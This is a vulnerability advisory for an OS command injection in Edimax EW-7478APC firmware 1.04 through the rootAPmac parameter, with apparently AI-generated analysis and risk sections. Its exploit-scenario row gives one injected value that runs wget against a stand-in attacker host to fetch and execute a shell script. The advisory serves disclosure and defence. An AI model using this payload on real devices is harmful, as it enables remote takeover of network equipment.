Lifecycle Timeline
3DescriptionCVE.org
A vulnerability was detected in Edimax EW-7478APC 1.04. This vulnerability affects the function formStaDrvSetup of the file /goform/formStaDrvSetup of the component POST Request Handler. The manipulation of the argument rootAPmac results in os command injection. The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
AnalysisAI
OS command injection in the Edimax EW-7478APC wireless access point firmware 1.04 allows a network-reachable authenticated attacker to execute arbitrary OS commands on the device by manipulating the rootAPmac parameter in POST requests to /goform/formStaDrvSetup. A public proof-of-concept exploit is available, indexed by VulDB and documented externally, and the vendor did not respond to responsible disclosure - making a vendor-released patch unlikely in the near term. …

Vulnerability AssessmentAI
| Exploitation | Exploitation requires network access to the Edimax EW-7478APC web management interface and a valid authenticated session at low privilege level, as confirmed by PR:L in the provided CVSS 4.0 vector. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is substantially higher than the CVSS 4.0 score of 2.1 suggests. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privilege credentials to the Edimax EW-7478APC web interface sends a crafted HTTP POST request to `/goform/formStaDrvSetup` with a `rootAPmac` value containing injected shell commands, such as `AA:BB:CC:DD:EE:FF; wget http://attacker.com/shell.sh -O /tmp/s && sh /tmp/s`. The firmware's `formStaDrvSetup` handler passes this value unsanitized to a system shell call, executing the injected commands with the web server's process privileges - typically root on embedded Linux devices. … |
| Remediation | No vendor-released patch is available at time of analysis; the vendor did not respond to responsible disclosure, and no fix version has been identified. … Detailed patch versions, workarounds, and compensating controls in full report. |
